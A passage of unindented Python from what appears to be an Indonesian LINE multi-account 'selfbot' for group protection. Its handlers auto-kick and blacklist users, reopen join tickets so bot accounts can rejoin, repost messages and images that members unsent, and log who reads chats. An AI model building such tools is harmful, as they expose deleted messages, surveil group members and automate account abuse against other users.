try:
ko.findAndAddContactsByMid(op.param3)
ko.kickoutFromGroup(op.param1,[op.param2])
ko.cancelGroupInvitation(op.param1,[op.param2])
ko.inviteIntoGroup(op.param1,[op.param3])
except:
try:
random.choice(ABC).findAndAddContactsByMid(op.param3)
random.choice(ABC).kickoutFromGroup(op.param1,[op.param2])
random.choice(ABC).cancelGroupInvitation(op.param1,[op.param2])
random.choice(ABC).inviteIntoGroup(op.param1,[op.param3])
except:
pass
if op.type == 17:
if op.param2 in wait["blacklist"]:
random.choice(ABC).kickoutFromGroup(op.param1,[op.param2])
random.choice(ABC).cancelGroupInvitation(op.param1,[op.param2])
else:
pass
if op.type == 15:
if wait["leaveMsg"] == True:
ginfo = cl.getGroup(op.param1)
leaveMembers(op.param1, [op.param2])
contact = cl.getContact(op.param2)
data = {
"type": "flex",
"altText": "<NAME>",
"contents": {
"type": "bubble",
"size": "nano",
"body": {
"type": "box",
"layout": "vertical",
"contents": [
{
"type": "image",
"url": "https://obs.line-scdn.net/{}".format(cl.getContact(op.param2).pictureStatus),
"size": "full",
"aspectMode": "cover",
"aspectRatio": "2:3",
"gravity": "top"
},
{
"type": "box",
"layout": "vertical",
"contents": [
{
"type": "box",
"layout": "vertical",
"contents": [
{
"type": "text",
"text": " {}".format(cl.getContact(op.param2).displayName),
"size": "xs",
"color": "#ffffff",
"weight": "bold"
}
]
},
{
"type": "box",
"layout": "baseline",
"contents": [
{
"type": "text",
"text": "🔹ʙᴀᴘᴇʀ ᴋᴀɴ ᴅɪᴀ ʟᴇғᴛ",
"color": "#ebebeb",
"size": "xxs",
"flex": 0
}
],
"spacing": "lg"
},
{
"type": "box",
"layout": "vertical",
"contents": [
{
"type": "filler"
},
{
"type": "box",
"layout": "baseline",
"contents": [
{
"type": "filler"
},
{
"type": "text",
"text": "<NAME>",
"color": "#ffffff",
"flex": 0,
"offsetTop": "0px"
},
{
"type": "filler"
}
],
"spacing": "xs"
},
{
"type": "filler"
}
],
# "borderWidth": "1px",
#"cornerRadius": "4px",
# "spacing": "xs",
# "borderColor": "#ffffff",
# "margin": "xs",
# "height": "40px"
}
],
"position": "absolute",
"offsetBottom": "0px",
"offsetStart": "0px",
"offsetEnd": "0px",
"backgroundColor": "#03303Acc",
"paddingAll": "0px",
"paddingTop": "2px"
},
{
"type": "box",
"layout": "vertical",
"contents": [
{
"type": "text",
"text": "ʟᴇғᴛ",
"color": "#ffffff",
"align": "center",
"size": "xs",
"offsetTop": "-3px"
}
],
"position": "absolute",
"cornerRadius": "8px",
"offsetTop": "3px",
"backgroundColor": "#ff334b",
"offsetStart": "5px",
"height": "15px",
"width": "38px"
}
],
"paddingAll": "0px"
}
}
}
cl.postTemplate(op.param1, data)
if op.type == 17:
if wait["welcomeOn"] == True:
ginfo = cl.getGroup(op.param1)
welcomeMembers(op.param1, [op.param2])
contact = cl.getContact(op.param2)
data = {
"type": "flex",
"altText": "<NAME>",
"contents": {
"type": "bubble",
"size": "nano",
"body": {
"type": "box",
"layout": "vertical",
"contents": [
{
"type": "image",
"url": "https://obs.line-scdn.net/{}".format(cl.getContact(op.param2).pictureStatus),
"size": "full",
"aspectMode": "cover",
"aspectRatio": "2:3",
"gravity": "top"
},
{
"type": "box",
"layout": "vertical",
"contents": [
{
"type": "box",
"layout": "vertical",
"contents": [
{
"type": "text",
"text": " {}".format(cl.getContact(op.param2).displayName),
"size": "xs",
"color": "#ffffff",
"weight": "bold"
}
]
},
{
"type": "box",
"layout": "baseline",
"contents": [
{
"type": "text",
"text": "🔹sᴇʟᴀᴍᴀᴛ ᴅᴀᴛᴀɴɢ",
"color": "#ebebeb",
"size": "xxs",
"flex": 0
}
],
"spacing": "lg"
},
{
"type": "box",
"layout": "vertical",
"contents": [
{
"type": "filler"
},
{
"type": "box",
"layout": "baseline",
"contents": [
{
"type": "filler"
},
{
"type": "text",
"text": "<NAME>",
"color": "#ffffff",
"flex": 0,
"offsetTop": "0px"
},
{
"type": "filler"
}
],
"spacing": "xs"
},
{
"type": "filler"
}
],
# "borderWidth": "1px",
#"cornerRadius": "4px",
# "spacing": "xs",
# "borderColor": "#ffffff",
# "margin": "xs",
# "height": "40px"
}
],
"position": "absolute",
"offsetBottom": "0px",
"offsetStart": "0px",
"offsetEnd": "0px",
"backgroundColor": "#03303Acc",
"paddingAll": "0px",
"paddingTop": "2px"
},
{
"type": "box",
"layout": "vertical",
"contents": [
{
"type": "text",
"text": "ᴡʟᴄᴍ",
"color": "#ffffff",
"align": "center",
"size": "xs",
"offsetTop": "-3px"
}
],
"position": "absolute",
"cornerRadius": "8px",
"offsetTop": "3px",
"backgroundColor": "#ff334b",
"offsetStart": "5px",
"height": "15px",
"width": "38px"
}
],
"paddingAll": "0px"
}
}
}
cl.postTemplate(op.param1, data)
if op.type == 5:
print ("[ 5 ] ɴᴏᴛɪғɪᴇᴅ ᴀᴜᴛᴏʙʟᴏᴄᴋ ᴄᴏɴᴛᴀᴄᴛ")
if wait["autoBlock"] == True:
cl.blockContact(op.param1)
cl.sendMessage(op.param1, wait["ᴍᴀᴀғ ᴀɪᴍ ᴀᴜᴛᴏʙʟᴏᴄᴋ ᴀɪᴍ ᴀᴋᴛɪғ"])
if op.type == 0:
return
if op.type == 5:
if wait["autoAdd"] == True:
if op.param2 not in Bots and op.param2 not in owner and op.param2 not in admin and op.param2 not in staff:
if (wait["message"] in [" "," ","\n",None]):
pass
else:
cl.sendMessage(op.param1, wait["message"])
if op.type == 65:
if wait["unsend"] == True:
try:
at = op.param1
msg_id = op.param2
if msg_id in msg_dict:
if msg_dict[msg_id]["from"]:
if msg_dict[msg_id]["text"] == 'ɢᴀᴍʙᴀʀɴʏᴀ ᴅɪ ʙᴀᴡᴀʜ':
ginfo = cl.getGroup(at)
ryan = cl.getContact(msg_dict[msg_id]["from"])
zx = ""
zxc = ""
zx2 = []
xpesan = "「 ɢᴀᴍʙᴀʀ ᴅɪ ʜᴀᴘᴜs 」\nᴘᴇɴɢɪʀɪᴍ : "
ret_ = "ɴᴀᴍᴀ ɢʀᴏᴜᴘ : {}".format(str(ginfo.name))
ret_ += "\nᴡᴀᴋᴛᴜ ᴘᴇɴɢɪʀɪᴍ : {}".format(dt_to_str(cTime_to_datetime(msg_dict[msg_id]["createdTime"])))
ry = str(ryan.displayName)
pesan = ''
pesan2 = pesan+"@x \n"
xlen = str(len(zxc)+len(xpesan))
xlen2 = str(len(zxc)+len(pesan2)+len(xpesan)-1)
zx = {'S':xlen, 'E':xlen2, 'M':ryan.mid}
zx2.append(zx)
zxc += pesan2
text = xpesan + zxc + ret_ + ""
cl.sendMessage(at, text, contentMetadata={'MENTION':str('{"MENTIONEES":'+json.dumps(zx2).replace(' ','')+'}')}, contentType=0)
cl.sendImage(at, msg_dict[msg_id]["data"])
else:
ginfo = cl.getGroup(at)
ryan = cl.getContact(msg_dict[msg_id]["from"])
ret_ = "ᴘᴇsᴀɴ ᴅɪ ʜᴀᴘᴜs\n"
ret_ += "ᴘᴇɴɢɪʀɪᴍ : {}".format(str(ryan.displayName))
ret_ += "\n°ɴᴀᴍᴀ ɢʀᴏᴜᴘ : {}".format(str(ginfo.name))
ret_ += "\nᴡᴀᴋᴛᴜ ᴘᴇɴɢɪʀɪᴍ : {}".format(dt_to_str(cTime_to_datetime(msg_dict[msg_id]["createdTime"])))
ret_ += "\nᴘᴇsᴀɴ ɴʏᴀ : {}".format(str(msg_dict[msg_id]["text"]))
cl.sendMessage(at, str(ret_))
del msg_dict[msg_id]
except Exception as e:
print(e)
if op.type == 65:
if wait["unsend"] == True:
try:
at = op.param1
msg_id = op.param2
if msg_id in msg_dict1:
if msg_dict1[msg_id]["from"]:
ginfo = cl.getGroup(at)
ryan = cl.getContact(msg_dict1[msg_id]["from"])
ret_ = "sᴛɪᴄᴋᴇʀ ᴅɪ ʜᴀᴘᴜs\n"
ret_ += "ᴘᴇɴɢɪʀɪᴍ : {}".format(str(ryan.displayName))
ret_ += "\nɴᴀᴍᴀ ɢʀᴏᴜᴘ : {}".format(str(ginfo.name))
ret_ += "\nᴡᴀᴋᴛᴜ ᴘᴇɴɢɪʀɪᴍ : {}".format(dt_to_str(cTime_to_datetime(msg_dict1[msg_id]["createdTime"])))
ret_ += "{}".format(str(msg_dict1[msg_id]["text"]))
cl.sendMessage(at, str(ret_))
cl.sendImage(at, msg_dict1[msg_id]["data"])
del msg_dict1[msg_id]
except Exception as e:
print(e)
if op.type == 19:
if mid in op.param3:
if op.param2 in Bots:
pass
if op.param2 in owner:
pass
if op.param2 in admin:
pass
if op.param2 in staff:
pass
else:
wait["blacklist"][op.param2] = True
try:
sw.acceptGroupInvitation(op.param1)
sw.findAndAddContactsByMid(op.param3)
sw.kickoutFromGroup(op.param1,[op.param2])
sw.inviteIntoGroup(op.param1,[op.param3])
cl.acceptGroupInvitation(op.param1)
x = sw.getGroup(op.param1)
x.preventedJoinByTicket = False
sw.updateGroup(x)
invsend = 0
Ti = sw.reissueGroupTicket(op.param1)
cl.acceptGroupInvitationByTicket(op.param1,Ti)
ki.acceptGroupInvitationByTicket(op.param1,Ti)
kk.acceptGroupInvitationByTicket(op.param1,Ti)
kc.acceptGroupInvitationByTicket(op.param1,Ti)
ko.acceptGroupInvitationByTicket(op.param1,Ti)
jk.acceptGroupInvitationByTicket(op.param1,Ti)
Ticket = sw.reissueGroupTicket(op.param1)
sw.leaveGroup(op.param1)
random.choice(ABC).inviteIntoGroup(op.param1,[Zmid])
except:
random.choice(ABC).findAndAddContactsByMid(op.param3)
random.choice(ABC).inviteIntoGroup(op.param1,[Zmid])
if op.type == 19:
if mid in op.param3:
if op.param2 in Bots:
pass
if op.param2 in owner:
pass
if op.param2 in admin:
pass
if op.param2 in staff:
pass
else:
wait["blacklist"][op.param2] = True
try:
ki.kickoutFromGroup(op.param1,[op.param2])
ki.inviteIntoGroup(op.param1,[op.param3])
cl.acceptGroupInvitation(op.param1)
except:
try:
kk.kickoutFromGroup(op.param1,[op.param2])
kk.inviteIntoGroup(op.param1,[op.param3])
cl.acceptGroupInvitation(op.param1)
except:
try:
kc.kickoutFromGroup(op.param1,[op.param2])
kc.inviteIntoGroup(op.param1,[op.param3])
cl.acceptGroupInvitation(op.param1)
except:
try:
x = ki.getGroup(op.param1)
x.preventedJoinByTicket = False
ki.updateGroup(x)
invsend = 0
Ti = ki.reissueGroupTicket(op.param1)
cl.acceptGroupInvitationByTicket(op.param1,Ti)
sw.acceptGroupInvitationByTicket(op.param1,Ti)
sw.kickoutFromGroup(op.param1,[op.param2])
kk.acceptGroupInvitationByTicket(op.param1,Ti)
kk.kickoutFromGroup(op.param1,[op.param2])
kc.acceptGroupInvitationByTicket(op.param1,Ti)
kc.kickoutFromGroup(op.param1,[op.param2])
ko.acceptGroupInvitationByTicket(op.param1,Ti)
ko.kickoutFromGroup(op.param1,[op.param2])
jk.acceptGroupInvitationByTicket(op.param1,Ti)
jk.kickoutFromGroup(op.param1,[op.param2])
G = sw.getGroup(op.param1)
G.preventedJoinByTicket = True
sw.updateGroup(G)
sw.leaveGroup(op.param1)
random.choice(KAC).inviteIntoGroup(op.param1,[Zmid])
except:
try:
ki.kickoutFromGroup(op.param1,[op.param2])
ki.inviteIntoGroup(op.param1,[op.param3])
cl.acceptGroupInvitation(op.param1)
except:
try:
kk.kickoutFromGroup(op.param1,[op.param2])
kk.inviteIntoGroup(op.param1,[op.param3])
cl.acceptGroupInvitation(op.param1)
except:
try:
random.choice(ABC).findAndAddContactsByMid(op.param3)
random.choice(ABC).kickoutFromGroup(op.param1,[op.param2])
random.choice(ABC).inviteIntoGroup(op.param1,[op.param3])
cl.acceptGroupInvitation(op.param1)
except:
pass
return
if Amid in op.param3:
if op.param2 in Bots:
pass
if op.param2 in owner:
pass
if op.param2 in admin:
pass
if op.param2 in staff:
pass
else:
wait["blacklist"][op.param2] = True
try:
kk.kickoutFromGroup(op.param1,[op.param2])
kk.inviteIntoGroup(op.param1,[op.param3])
ki.acceptGroupInvitation(op.param1)
except:
try:
kc.kickoutFromGroup(op.param1,[op.param2])
kc.inviteIntoGroup(op.param1,[op.param3])
ki.acceptGroupInvitation(op.param1)
except:
try:
jk.kickoutFromGroup(op.param1,[op.param2])
jk.inviteIntoGroup(op.param1,[op.param3])
ki.acceptGroupInvitation(op.param1)
except:
try:
x = kk.getGroup(op.param1)
x.preventedJoinByTicket = False
kk.updateGroup(x)
invsend = 0
Ti = kk.reissueGroupTicket(op.param1)
cl.acceptGroupInvitationByTicket(op.param1,Ti)
sw.acceptGroupInvitationByTicket(op.param1,Ti)
sw.kickoutFromGroup(op.param1,[op.param2])
ki.acceptGroupInvitationByTicket(op.param1,Ti)
ki.kickoutFromGroup(op.param1,[op.param2])
kc.acceptGroupInvitationByTicket(op.param1,Ti)
kc.kickoutFromGroup(op.param1,[op.param2])
ko.acceptGroupInvitationByTicket(op.param1,Ti)
ko.kickoutFromGroup(op.param1,[op.param2])
jk.acceptGroupInvitationByTicket(op.param1,Ti)
jk.kickoutFromGroup(op.param1,[op.param2])
G = sw.getGroup(op.param1)
G.preventedJoinByTicket = True
sw.updateGroup(G)
sw.leaveGroup(op.param1)
random.choice(ABC).inviteIntoGroup(op.param1,[Zmid])
except:
try:
kk.kickoutFromGroup(op.param1,[op.param2])
kk.inviteIntoGroup(op.param1,[op.param3])
ki.acceptGroupInvitation(op.param1)
except:
try:
kc.kickoutFromGroup(op.param1,[op.param2])
kc.inviteIntoGroup(op.param1,[op.param3])
ki.acceptGroupInvitation(op.param1)
except:
try:
random.choice(ABC).findAndAddContactsByMid(op.param3)
random.choice(ABC).kickoutFromGroup(op.param1,[op.param2])
random.choice(ABC).inviteIntoGroup(op.param1,[op.param3])
ki.acceptGroupInvitation(op.param1)
except:
pass
return
if Bmid in op.param3:
if op.param2 in Bots:
pass
if op.param2 in owner:
pass
if op.param2 in admin:
pass
if op.param2 in staff:
pass
else:
wait["blacklist"][op.param2] = True
try:
kc.kickoutFromGroup(op.param1,[op.param2])
kc.inviteIntoGroup(op.param1,[op.param3])
kk.acceptGroupInvitation(op.param1)
except:
try:
jk.kickoutFromGroup(op.param1,[op.param2])
jk.inviteIntoGroup(op.param1,[op.param3])
kk.acceptGroupInvitation(op.param1)
except:
try:
ki.kickoutFromGroup(op.param1,[op.param2])
ki.inviteIntoGroup(op.param1,[op.param3])
kk.acceptGroupInvitation(op.param1)
except:
try:
x = kc.getGroup(op.param1)
x.preventedJoinByTicket = False
kc.updateGroup(x)
invsend = 0
Ti = kc.reissueGroupTicket(op.param1)
cl.acceptGroupInvitationByTicket(op.param1,Ti)
sw.acceptGroupInvitationByTicket(op.param1,Ti)
sw.kickoutFromGroup(op.param1,[op.param2])
ki.acceptGroupInvitationByTicket(op.param1,Ti)
ki.kickoutFromGroup(op.param1,[op.param2])
kk.acceptGroupInvitationByTicket(op.param1,Ti)
kk.kickoutFromGroup(op.param1,[op.param2])
ko.acceptGroupInvitationByTicket(op.param1,Ti)
ko.kickoutFromGroup(op.param1,[op.param2])
jk.acceptGroupInvitationByTicket(op.param1,Ti)
jk.kickoutFromGroup(op.param1,[op.param2])
G = sw.getGroup(op.param1)
G.preventedJoinByTicket = True
sw.updateGroup(G)
sw.leaveGroup(op.param1)
random.choice(ABC).inviteIntoGroup(op.param1,[Zmid])
except:
try:
ki.kickoutFromGroup(op.param1,[op.param2])
ki.inviteIntoGroup(op.param1,[op.param3])
kk.acceptGroupInvitation(op.param1)
except:
try:
kc.kickoutFromGroup(op.param1,[op.param2])
kc.inviteIntoGroup(op.param1,[op.param3])
kk.acceptGroupInvitation(op.param1)
except:
try:
random.choice(ABC).findAndAddContactsByMid(op.param3)
random.choice(ABC).kickoutFromGroup(op.param1,[op.param2])
random.choice(ABC).inviteIntoGroup(op.param1,[op.param3])
kk.acceptGroupInvitation(op.param1)
except:
pass
return
if Cmid in op.param3:
if op.param2 in Bots:
pass
if op.param2 in owner:
pass
if op.param2 in admin:
pass
if op.param2 in staff:
pass
else:
wait["blacklist"][op.param2] = True
try:
jk.kickoutFromGroup(op.param1,[op.param2])
jk.inviteIntoGroup(op.param1,[op.param3])
kc.acceptGroupInvitation(op.param1)
except:
try:
ki.kickoutFromGroup(op.param1,[op.param2])
ki.inviteIntoGroup(op.param1,[op.param3])
kc.acceptGroupInvitation(op.param1)
except:
try:
kk.kickoutFromGroup(op.param1,[op.param2])
kk.inviteIntoGroup(op.param1,[op.param3])
kc.acceptGroupInvitation(op.param1)
except:
try:
x = ko.getGroup(op.param1)
x.preventedJoinByTicket = False
ko.updateGroup(x)
invsend = 0
Ti = ko.reissueGroupTicket(op.param1)
cl.acceptGroupInvitationByTicket(op.param1,Ti)
sw.acceptGroupInvitationByTicket(op.param1,Ti)
sw.kickoutFromGroup(op.param1,[op.param2])
ki.acceptGroupInvitationByTicket(op.param1,Ti)
ki.kickoutFromGroup(op.param1,[op.param2])
kk.acceptGroupInvitationByTicket(op.param1,Ti)
kk.kickoutFromGroup(op.param1,[op.param2])
kc.acceptGroupInvitationByTicket(op.param1,Ti)
kc.kickoutFromGroup(op.param1,[op.param2])
jk.acceptGroupInvitationByTicket(op.param1,Ti)
jk.kickoutFromGroup(op.param1,[op.param2])
G = sw.getGroup(op.param1)
G.preventedJoinByTicket = True
sw.updateGroup(G)
sw.leaveGroup(op.param1)
random.choice(ABC).inviteIntoGroup(op.param1,[Zmid])
except:
try:
ki.kickoutFromGroup(op.param1,[op.param2])
ki.inviteIntoGroup(op.param1,[op.param3])
kc.acceptGroupInvitation(op.param1)
except:
try:
kk.kickoutFromGroup(op.param1,[op.param2])
kk.inviteIntoGroup(op.param1,[op.param3])
kc.acceptGroupInvitation(op.param1)
except:
try:
random.choice(ABC).findAndAddContactsByMid(op.param3)
random.choice(ABC).kickoutFromGroup(op.param1,[op.param2])
random.choice(ABC).inviteIntoGroup(op.param1,[op.param3])
kc.acceptGroupInvitation(op.param1)
except:
pass
return
if Dmid in op.param3:
if op.param2 in Bots:
pass
if op.param2 in owner:
pass
if op.param2 in admin:
pass
if op.param2 in staff:
pass
else:
wait["blacklist"][op.param2] = True
try:
jk.kickoutFromGroup(op.param1,[op.param2])
jk.inviteIntoGroup(op.param1,[op.param3])
ko.acceptGroupInvitation(op.param1)
except:
try:
ki.kickoutFromGroup(op.param1,[op.param2])
ki.inviteIntoGroup(op.param1,[op.param3])
ko.acceptGroupInvitation(op.param1)
except:
try:
kk.kickoutFromGroup(op.param1,[op.param2])
kk.inviteIntoGroup(op.param1,[op.param3])
ko.acceptGroupInvitation(op.param1)
except:
try:
x = cl.getGroup(op.param1)
x.preventedJoinByTicket = False
cl.updateGroup(x)
invsend = 0
Ti = cl.reissueGroupTicket(op.param1)
cl.acceptGroupInvitationByTicket(op.param1,Ti)
sw.acceptGroupInvitationByTicket(op.param1,Ti)
sw.kickoutFromGroup(op.param1,[op.param2])
ki.acceptGroupInvitationByTicket(op.param1,Ti)
ki.kickoutFromGroup(op.param1,[op.param2])
kk.acceptGroupInvitationByTicket(op.param1,Ti)
kk.kickoutFromGroup(op.param1,[op.param2])
kc.acceptGroupInvitationByTicket(op.param1,Ti)
kc.kickoutFromGroup(op.param1,[op.param2])
jk.acceptGroupInvitationByTicket(op.param1,Ti)
jk.kickoutFromGroup(op.param1,[op.param2])
G = sw.getGroup(op.param1)
G.preventedJoinByTicket = True
sw.updateGroup(G)
sw.leaveGroup(op.param1)
random.choice(ABC).inviteIntoGroup(op.param1,[Zmid])
except:
try:
ki.kickoutFromGroup(op.param1,[op.param2])
ki.inviteIntoGroup(op.param1,[op.param3])
ko.acceptGroupInvitation(op.param1)
except:
try:
kc.kickoutFromGroup(op.param1,[op.param2])
kc.inviteIntoGroup(op.param1,[op.param3])
ko.acceptGroupInvitation(op.param1)
except:
try:
random.choice(ABC).findAndAddContactsByMid(op.param3)
random.choice(ABC).kickoutFromGroup(op.param1,[op.param2])
random.choice(ABC).inviteIntoGroup(op.param1,[op.param3])
ko.acceptGroupInvitation(op.param1)
except:
pass
return
if Emid in op.param3:
if op.param2 in Bots:
pass
if op.param2 in owner:
pass
if op.param2 in admin:
pass
if op.param2 in staff:
pass
else:
wait["blacklist"][op.param2] = True
try:
ko.kickoutFromGroup(op.param1,[op.param2])
ko.inviteIntoGroup(op.param1,[op.param3])
jk.acceptGroupInvitation(op.param1)
except:
try:
ki.kickoutFromGroup(op.param1,[op.param2])
ki.inviteIntoGroup(op.param1,[op.param3])
jk.acceptGroupInvitation(op.param1)
except:
try:
kk.kickoutFromGroup(op.param1,[op.param2])
kk.inviteIntoGroup(op.param1,[op.param3])
jk.acceptGroupInvitation(op.param1)
except:
try:
x = cl.getGroup(op.param1)
x.preventedJoinByTicket = False
cl.updateGroup(x)
invsend = 0
Ti = cl.reissueGroupTicket(op.param1)
cl.acceptGroupInvitationByTicket(op.param1,Ti)
sw.acceptGroupInvitationByTicket(op.param1,Ti)
sw.kickoutFromGroup(op.param1,[op.param2])
ki.acceptGroupInvitationByTicket(op.param1,Ti)
ki.kickoutFromGroup(op.param1,[op.param2])
kk.acceptGroupInvitationByTicket(op.param1,Ti)
kk.kickoutFromGroup(op.param1,[op.param2])
kc.acceptGroupInvitationByTicket(op.param1,Ti)
kc.kickoutFromGroup(op.param1,[op.param2])
jk.acceptGroupInvitationByTicket(op.param1,Ti)
jk.kickoutFromGroup(op.param1,[op.param2])
G = sw.getGroup(op.param1)
G.preventedJoinByTicket = True
sw.updateGroup(G)
sw.leaveGroup(op.param1)
random.choice(ABC).inviteIntoGroup(op.param1,[Zmid])
except:
try:
ki.kickoutFromGroup(op.param1,[op.param2])
ki.inviteIntoGroup(op.param1,[op.param3])
jk.acceptGroupInvitation(op.param1)
except:
try:
kc.kickoutFromGroup(op.param1,[op.param2])
kc.inviteIntoGroup(op.param1,[op.param3])
jk.acceptGroupInvitation(op.param1)
except:
try:
random.choice(ABC).findAndAddContactsByMid(op.param3)
random.choice(ABC).kickoutFromGroup(op.param1,[op.param2])
random.choice(ABC).inviteIntoGroup(op.param1,[op.param3])
jk.acceptGroupInvitation(op.param1)
except:
pass
return
if Zmid in op.param3:
if op.param2 in Bots:
pass
if op.param2 in owner:
pass
if op.param2 in admin:
pass
if op.param2 in staff:
pass
else:
wait["blacklist"][op.param2] = True
try:
jk.findAndAddContactsByMid(op.param3)
jk.kickoutFromGroup(op.param1,[op.param2])
jk.inviteIntoGroup(op.param1,[op.param3])
except:
try:
ki.findAndAddContactsByMid(op.param3)
ki.kickoutFromGroup(op.param1,[op.param2])
ki.inviteIntoGroup(op.param1,[op.param3])
except:
try:
kk.findAndAddContactsByMid(op.param3)
kk.kickoutFromGroup(op.param1,[op.param2])
kk.inviteIntoGroup(op.param1,[op.param3])
except:
try:
kc.findAndAddContactsByMid(op.param3)
kc.kickoutFromGroup(op.param1,[op.param2])
kc.inviteIntoGroup(op.param1,[op.param3])
except:
try:
ko.findAndAddContactsByMid(op.param3)
ko.kickoutFromGroup(op.param1,[op.param2])
ko.inviteIntoGroup(op.param1,[op.param3])
except:
try:
random.choice(ABC).findAndAddContactsByMid(op.param3)
random.choice(ABC).kickoutFromGroup(op.param1,[op.param2])
random.choice(ABC).inviteIntoGroup(op.param1,[op.param3])
except:
pass
return
if admin in op.param3:
if op.param2 in Bots:
pass
if op.param2 in owner:
pass
if op.param2 in admin:
pass
if op.param2 in staff:
pass
else:
wait["blacklist"][op.param2] = True
try:
jk.kickoutFromGroup(op.param1,[op.param2])
jk.findAndAddContactsByMid(op.param1,admin)
jk.inviteIntoGroup(op.param1,admin)
except:
try:
ki.kickoutFromGroup(op.param1,[op.param2])
ki.findAndAddContactsByMid(op.param1,admin)
ki.inviteIntoGroup(op.param1,admin)
except:
try:
kk.kickoutFromGroup(op.param1,[op.param2])
kk.findAndAddContactsByMid(op.param1,admin)
kk.inviteIntoGroup(op.param1,admin)
except:
try:
kc.findAndAddContactsByMid(op.param3)
kc.kickoutFromGroup(op.param1,[op.param2])
kc.inviteIntoGroup(op.param1,[op.param3])
except:
try:
ko.findAndAddContactsByMid(op.param3)
ko.kickoutFromGroup(op.param1,[op.param2])
ko.inviteIntoGroup(op.param1,[op.param3])
except:
try:
random.choice(ABC).findAndAddContactsByMid(op.param3)
random.choice(ABC).kickoutFromGroup(op.param1,[op.param2])
random.choice(ABC).inviteIntoGroup(op.param1,[op.param3])
except:
pass
return
if staff in op.param3:
if op.param2 in Bots:
pass
if op.param2 in owner:
pass
if op.param2 in admin:
pass
if op.param2 in staff:
pass
else:
wait["blacklist"][op.param2] = True
try:
ki.kickoutFromGroup(op.param1,[op.param2])
ki.findAndAddContactsByMid(op.param1,staff)
ki.inviteIntoGroup(op.param1,staff)
except:
try:
kk.kickoutFromGroup(op.param1,[op.param2])
kk.findAndAddContactsByMid(op.param1,staff)
kk.inviteIntoGroup(op.param1,staff)
except:
try:
kc.kickoutFromGroup(op.param1,[op.param2])
kc.findAndAddContactsByMid(op.param1,staff)
kc.inviteIntoGroup(op.param1,staff)
except:
try:
ko.findAndAddContactsByMid(op.param3)
ko.kickoutFromGroup(op.param1,[op.param2])
ko.inviteIntoGroup(op.param1,[op.param3])
except:
try:
random.choice(ABC).findAndAddContactsByMid(op.param3)
random.choice(ABC).kickoutFromGroup(op.param1,[op.param2])
random.choice(ABC).inviteIntoGroup(op.param1,[op.param3])
except:
pass
return
if op.type == 13:
if op.param1 in protectkick:
if op.param2 not in Bots and op.param2 not in owner and op.param2 not in admin and op.param2 not in staff:
wait["blacklist"][op.param2] = True
try:
random.choice(ABC).kickoutFromGroup(op.param1,[op.param2])
random.choice(ABC).cancelGroupInvitation(op.param1,[op.param3])
random.choice(ABC).kickoutFromGroup(op.param1,[op.param2])
except:
pass
if op.type == 13:
if op.param1 in protectkick:
if op.param2 not in Bots and op.param2 not in owner and op.param2 not in admin and op.param2 not in staff:
wait["blacklist"][op.param2] = True
try:
group = jk.getGroup(op.param1)
gMembMids = [contact.mid for contact in group.invitee]
for _mid in gMembMids:
jk.cancelGroupInvitation(op.param1,[_mid])
except:
try:
group = ki.getGroup(op.param1)
gMembMids = [contact.mid for contact in group.invitee]
for _mid in gMembMids:
ki.cancelGroupInvitation(op.param1,[_mid])
except:
try:
group = kk.getGroup(op.param1)
gMembMids = [contact.mid for contact in group.invitee]
for _mid in gMembMids:
kk.cancelGroupInvitation(op.param1,[_mid])
except:
try:
group = kc.getGroup(op.param1)
gMembMids = [contact.mid for contact in group.invitee]
for _mid in gMembMids:
kc.cancelGroupInvitation(op.param1,[_mid])
except:
try:
group = ko.getGroup(op.param1)
gMembMids = [contact.mid for contact in group.invitee]
for _mid in gMembMids:
ko.cancelGroupInvitation(op.param1,[_mid])
except:
pass
if op.type == 32:
if op.param1 in protectcancel:
if op.param2 not in Bots and op.param2 not in owner and op.param2 not in admin and op.param2 not in staff:
wait["blacklist"][op.param2] = True
try:
if op.param3 not in wait["blacklist"]:
ki.kickoutFromGroup(op.param1,[op.param2])
except:
try:
if op.param3 not in wait["blacklist"]:
kk.kickoutFromGroup(op.param1,[op.param2])
except:
try:
if op.param3 not in wait["blacklist"]:
kc.kickoutFromGroup(op.param1,[op.param2])
except:
try:
if op.param3 not in wait["blacklist"]:
ko.kickoutFromGroup(op.param1,[op.param2])
except:
try:
if op.param3 not in wait["blacklist"]:
kk.kickoutFromGroup(op.param1,[op.param2])
except:
try:
if op.param3 not in wait["blacklist"]:
jk.kickoutFromGroup(op.param1,[op.param2])
except:
pass
if op.type == 32:
if Zmid in op.param3:
wait["blacklist"][op.param2] = True
try:
ki.inviteIntoGroup(op.param1,[Zmid])
except:
try:
kk.inviteIntoGroup(op.param1,[Zmid])
except:
try:
kc.inviteIntoGroup(op.param1,[Zmid])
except:
try:
ko.inviteIntoGroup(op.param1,[Zmid])
except:
try:
jk.inviteIntoGroup(op.param1,[Zmid])
except:
try:
random.choice(ABC).inviteIntoGroup(op.param1,[mid,Amid,Bmid,Cmid,Dmid,Emid,Zmid])
except:
pass
return
if op.type == 55:
try:
if op.param1 in Setmain["RAreadPoint"]:
if op.param2 in Setmain["RAreadMember"][op.param1]:
pass
else:
Setmain["RAreadMember"][op.param1][op.param2] = True
else:
pass
except:
pass
if op.type == 55:
if op.param2 in wait["blacklist"]:
random.choice(ABC).kickoutFromGroup(op.param1,[op.param2])
else:
pass
if op.type == 55:
if cctv['cyduk'][op.param1]==True:
if op.param1 in cctv['point']:
Name = cl.getContact(op.param2).displayName
if Name in cctv['sidermem'][op.param1]:
pass
else:
cctv['sidermem'][op.param1] += "\n~ " + Name
siderMembers(op.param1, [op.param2])
contact = cl.getContact(op.param2)
data = {
"type": "flex",
"altText": "<NAME>",
"contents": {
"type": "bubble",
"size": "nano",
"body": {
"type": "box",
"layout": "vertical",
"contents": [
{
"type": "image",
"url": "https://obs.line-scdn.net/{}".format(cl.getContact(op.param2).pictureStatus),
"size": "full",
"aspectMode": "cover",
"aspectRatio": "2:3",
"gravity": "top"
},
{
"type": "box",
"layout": "vertical",
"contents": [
{
"type": "box",
"layout": "vertical",
"contents": [
{
"type": "text",
"text": " {}".format(cl.getContact(op.param2).displayName),
"size": "xxs",
"color": "#ffffff",
"weight": "bold"
}
]
},
{
"type": "box",
"layout": "baseline",
"contents": [
{
"type": "text",
"text": "🔹ɴɢɪɴᴛɪᴘ² ɢᴀʙᴜɴɢ sɪɴɪ",
"color": "#ebebeb",
"size": "xxs",
"flex": 0
}
],
"spacing": "lg"
},
{
"type": "box",
"layout": "vertical",
"contents": [
{
"type": "filler"
},
{
"type": "box",
"layout": "baseline",
"contents": [
{
"type": "filler"
},
{
"type": "text",
"text": "<NAME>",
"color": "#ffffff",
"flex": 0,
"offsetTop": "0px"
},
{
"type": "filler"
}
],
